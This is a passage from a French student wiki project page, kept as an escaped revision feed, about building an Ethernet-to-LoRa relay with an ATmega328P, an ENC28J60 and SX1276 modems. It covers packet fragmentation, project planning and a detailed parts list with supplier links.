1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet pour LoRa ne fait que 64 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet du paquet. La dernière case est réservée pour dire le numéro du fragment et vérifier si c'est la fin du paquet. Au niveau de la réception, si le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un, le récepteur va s'arrêter de capter des paquets.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39262</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39262"/>
				<updated>2017-02-16T10:16:05Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
